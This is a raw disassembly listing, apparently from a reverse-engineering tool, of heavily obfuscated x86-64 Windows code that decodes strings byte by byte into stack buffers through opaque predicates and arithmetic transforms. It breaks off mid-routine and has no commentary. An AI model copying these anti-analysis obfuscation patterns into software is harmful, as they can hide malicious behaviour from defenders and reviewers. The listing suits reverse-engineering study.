lea rax, [r8 + 3]
cmp r9, rax
je 0x14008540a
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400853d5
lea rax, [r8 + 7]
cmp r9, rax
je 0x1400853ad
lea rax, [r8 + 5]
cmp r9, rax
je 0x140085389
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140084f59
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x140084f33
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140084f05
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x140084ed6
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140084eb0
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x140084e8c
lea rax, [r8 + 8]
cmp r9, rax
je 0x140084e52
lea rax, [r8 + 4]
cmp r9, rax
je 0x140084af0
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x10]
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x1400855e5
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400855c0
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x140084c4c
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x140084c2d
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x140084c0e
lea rax, [r8 + 6]
cmp r9, rax
jb 0x140084d83
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140084af0
lea r9, [r8 + 0x42]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x140084d4d
lea rax, [r8 + 9]
cmp r9, rax
ja 0x140084d25
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140084cfc
lea rax, [r8 + 5]
cmp r9, rax
ja 0x140084cd6
lea rax, [r8 + 2]
cmp r9, rax
ja 0x140084cab
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x140084c7d
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x5a]
jmp 0x140084af0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x27
add r10b, dl
jmp 0x140084ae0
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7d
add r10b, dl
jmp 0x140084a64
movabs rdx, 0x87ca037cb8195ed5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x2d
add r10b, dl
movabs rcx, 0x13f803d1843548c3
jmp 0x140084a0f
movabs rcx, 0xf2d279dbba8d2e72
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1e
inc r8
dec rbx
inc rbx
jmp 0x1400849f2
movabs rcx, 0xcae27238b2229cec
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
dec rbx
inc rbx
jmp 0x1400849f2
movabs rdx, 0xa2f26a95a9b80b66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400854aa
movabs rdx, 0x2b2253ac907856d4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085510
movabs rdx, 0x3324c09880dc54e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
add r10b, dl
jmp 0x140085543
movabs rcx, 0xdb4244667fa333c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
movabs rdx, 0xff9a1a65d1591367
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2f
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x20
je 0x14008535e
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x1400850a1
movabs rdx, 0xc218e8ec80b25677
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x41
add r10b, dl
cmp r9, 0x10
jae 0x140085330
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x1400851bd
movabs rdx, 0x6571391c59114e76
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3a
add r10b, dl
cmp r8, 0x2a
jb 0x140085320
movabs rdx, 0xf4d1857aad3afdb2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140085458
movabs rdx, 0xd411e11f1239cffa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
movabs rcx, 0xac21d97c09cf3e74
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x140085543
movabs rdx, 0xc61baefe824f85c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400854aa
movabs rdx, 0xe471b34cdfba66d6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400849f2
movabs rcx, 0xbc81aba9d74fd550
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x30
inc r8
dec rbx
inc rbx
jmp 0x1400849f2
movabs rdx, 0x9491a406cee543ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140085455
lea rax, [r8 + 0x3e8]
cmp r9, rax
jae 0x140084f8e
movabs rdx, 0x13f803d1843548c3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
jmp 0x140084da3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140084fd1
movabs rdx, 0x46b0a05fb0bdeffe
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
inc rax
cmp r9, rax
jne 0x140085006
movabs rdx, 0x6ea0a802b9288184
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140085543
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140085037
movabs rcx, 0x9690afa5c193130a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x140085510
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14008506f
movabs rdx, 0x3650ce31e33d5922
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140084da6
movabs rdx, 0x8630dd77f4127c2e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x42
jmp 0x140085455
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400850d2
movabs rcx, 0xea08f08f891ce7fd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
jmp 0x140085458
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008510a
movabs rcx, 0x39e8ffd599f20b09
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3f
dec rbx
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14008513c
movabs rcx, 0x89c90f1baac72e15
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6d
jmp 0x1400854d7
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14008517a
movabs rcx, 0xb1b916beb331bf9b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3d
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140084de4
movabs rcx, 0x29892da7cc71742d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3b
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140085200
movabs rdx, 0x8d6140bf617bdffc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140085235
movabs rdx, 0xdd41500572510308
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x140085510
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140085277
movabs rdx, 0x53157a87abb948e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400852a9
movabs rdx, 0x551166ee8b90b79a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
jmp 0x1400854aa
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400852e1
movabs rdx, 0x7d016e9193fb4920
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400849f2
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140084e1e
movabs rdx, 0xa4f176349c65daa6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x1400849f2
mov byte [rbp + rbx + 0xd68], r10b
inc rbx
jmp 0x1400849f2
movabs rdx, 0x1cc18d1db5a58f38
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xd68]
add r10b, r11b
jmp 0x1400854aa
movabs rcx, 0x44b194c0be1020be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xd68]
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x140085510
movabs rcx, 0xe2d88d481bb3842f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x49
jmp 0x140085543
movabs rdx, 0xbae885a51348f2a9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x61
add r10b, dl
jmp 0x140085510
movabs rcx, 0x92f87e020ade6123
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0xb
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400849f2
movabs rcx, 0x1b286718f19eac91
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 9
dec rbx
inc rbx
jmp 0x1400849f2
movabs rdx, 0xcb4857d2e0c98985
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
add r10b, dl
movabs rcx, 0x8c9894c31704675
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x33
add cl, r11b
mov byte [rbp + rbx + 0xd68], cl
inc r8
dec rbx
inc rbx
jmp 0x1400849f2
movabs rdx, 0x39831a3b6b4b1e7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x51
add r10b, dl
movabs rdx, 0x30b990ef39dad7fb
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x23
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xd68], cl
add r9, r8
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400849f2
mov r11, rdx
movabs rcx, 0x8bc81aba9d74fd55
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x53
movabs rdx, 0x58a9989242456981
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x79
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xd68], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0x6ca19c63c67ab244
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xd68], cl
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
movabs rcx, 0x3be80b748c9fda49
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
inc r10b
movzx eax, byte [rbp + rbx + 0xd68]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400849f2
movabs rcx, 0x5fd9fbd9afaecd4f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x29
jmp 0x1400849ee
movabs rcx, 0x37e9f436a7443bc9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7f
jmp 0x1400849dc
lea rcx, [rbp + 0x14cf06c]
jmp 0x140085629
lea rcx, [rbp + 0x142392f]
jmp 0x140085629
lea rcx, [rbp + 0xd68]
mov dword [rbp + 0xf20], 0x2710
mov dword [rbp + 0xf28], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf28]
lea r8, [rdi + 0x30]
mov edx, 4
call fcn.140037d20
mov byte [rbp + 0xd90], 0xad
mov byte [rbp + 0xd91], WSACleanup
mov byte [rbp + 0xd92], 0xa4
mov byte [rbp + 0xd93], 0x9e
mov byte [rbp + 0xd94], 0x7e
mov byte [rbp + 0xd95], 0x7a
mov byte [rbp + 0xd96], WSASetLastError
mov byte [rbp + 0xd97], WSACleanup
mov byte [rbp + 0xd98], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd99], xmm0
mov qword [rbp + 0xda9], rax
mov word [rbp + 0xdb1], ax
movabs rsi, 0x41c48370d9a49061
movabs rdi, 0xb5b35e462c5a64ab
movabs r14, 0x651ec841da7fd7f5
movabs r12, 0xaea15082c5c82327
movabs r13, 0xa56d3b2d20b59ee6
movzx edx, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140086294
movzx r11d, byte [rbp + rbx + 0xd90]
mov r10, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140086288
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140085762
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
add dl, 0x59
jmp 0x14008578e
je 0x1400861ff
inc rax
cmp r8, rax
je 0x140086168
lea rax, [r9 + 5]
cmp r8, rax
je 0x140086132
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400860e0
nop
cmp r9, rbx
ja 0x14008627c
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400857c0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x4d
jmp 0x140085801
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400860c6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008609d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140086067
lea rax, [r9 + 4]
cmp r8, rax
je 0x140086042
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008600d
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140085c30
nop
lea rax, [r9 + 2]
cmp r8, rax
je 0x140085c0a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140085bde
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085bb4
lea rax, [r9 + 9]
cmp r8, rax
je 0x140085b7c
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140085b56
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140085b21
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140086258
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140086234
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140085956
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14008593c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140085a9d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140085a6f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140085810
lea r8, [r9 + 8]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140085a3a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140085a15
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400859ef
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400859bc
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140085996
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140085972
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140085810
lea r8, [r9 + 9]
lea r9, [r8 + 0x400]
jmp 0x140085810
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x53
jmp 0x140085801
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x11
add dl, cl
jmp 0x140085725
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x4a
inc r9
dec rbx
inc rbx
jmp 0x140085712
movabs rdx, 0x9e5b2d69ba235d62
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140085fa2
movabs rcx, 0x97491fa653911bde
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x12
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
movabs rdx, 0x13c018c4a047fb1c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x140086189
movabs rdx, 0x903711e2ecfeda5a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x76
add dl, cl
jmp 0x1400861b9
movabs rcx, 0xcae0b0139b5b998
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x28
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
movabs rcx, 0xc3d779ccf97ee7b3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x1b
mov byte [rbp + rbx + 0xd90], dl
inc rbx
jmp 0x140085712
movabs rcx, 0xbcc56c0992eca62f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x49
cmp r8, 0x20
jae 0x140085f7a
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140085e67
movabs rdx, 0x10f21a25b6b63f12
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x7e
add dl, cl
cmp r9, 0x28
jb 0x140085a8e
movabs rdx, 0x344c5ef6b79186a6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x14]
jmp 0x140086100
movabs rcx, 0x5eb8b18b1eff0fbe
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x32
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
movabs rdx, 0x57a6a3c7b86cce3a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x140086189
movabs rdx, 0x5094960451da8cb6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
movabs rcx, 0x49828840eb484b32
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x5e
dec rbx
inc rbx
jmp 0x140085712
movabs rcx, 0xc5f9815f37ff2a70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
inc r9
dec rbx
inc rbx
jmp 0x140085712
movabs rdx, 0x42707a7d84b609ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140086100
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140085c8c
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x59
lea rax, [r8 + r9]
cmp rax, 0x10
je 0x140085fe3
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140085d29
movabs rcx, 0xabd351e3dc36671d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x35
jmp 0x140085abb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085cc9
movabs rcx, 0xca3d9083b4ffafea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
inc rax
cmp r8, rax
jne 0x140085cfb
movabs rdx, 0x4dc697656848d0ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400861b9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140085c4e
movabs rdx, 0x5beab2ec356d53b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
jmp 0x140085f9d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085d51
movabs rdx, 0x2f5c58c58f7f87df
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x19
jmp 0x1400860f6
inc rax
cmp r8, rax
jne 0x140085d87
movabs rcx, 0x366e6688f611c963
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x4b
dec rbx
inc rbx
jmp 0x140085712
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085db7
movabs rdx, 0xb9f76d6aa95aea25
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 3
jmp 0x140085fa0
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140085df3
movabs rcx, 0xc1097b2e0fed2ba9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x61
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140085e25
movabs rdx, 0x4492820fc3364c6b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x13
add dl, cl
jmp 0x140086189
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140085abb
movabs rcx, 0x4ba48fd329c88def
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x77
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085ea7
movabs rdx, 0x947b210769ff5fd4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140085ee5
movabs rdx, 0x1f1635ac83dac21a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140085f1a
movabs rdx, 0xa9b14a519db62460
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
dec rbx
inc rbx
jmp 0x140085712
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140085f52
movabs rdx, 0x2d3a513350ff4522
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
inc r9
dec rbx
inc rbx
jmp 0x140085712
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140085af2
movabs rdx, 0xb0c35815044865e4
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x3c
jmp 0x1400860f6
movabs rdx, 0xb7d565d86adaa768
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, byte [rbp + rbx + 0xd90]
add cl, r11b
add dl, cl
movabs rcx, 0xf999e949447f37c9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x7f
add r11b, cl
add r11b, dl
mov byte [rbp + rbx + 0xd90], r11b
add r8, r9
movzx eax, dl
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140085712
movabs rcx, 0x3b5e6cba1e23c82a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xd90]
lea edx, [r11 + rcx]
sub dl, 0x26
jmp 0x140086189
movabs rcx, 0x4f006312811fec7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x71
movzx eax, byte [rbp + rbx + 0xd90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140085712
movabs rdx, 0xfdddf86dc17fbd43
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x2b
add dl, cl
jmp 0x140086189
movabs rcx, 0xf6cbeaaa5aed7bbf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x39
add r8, r9
movzx eax, dl
mov rcx, r15
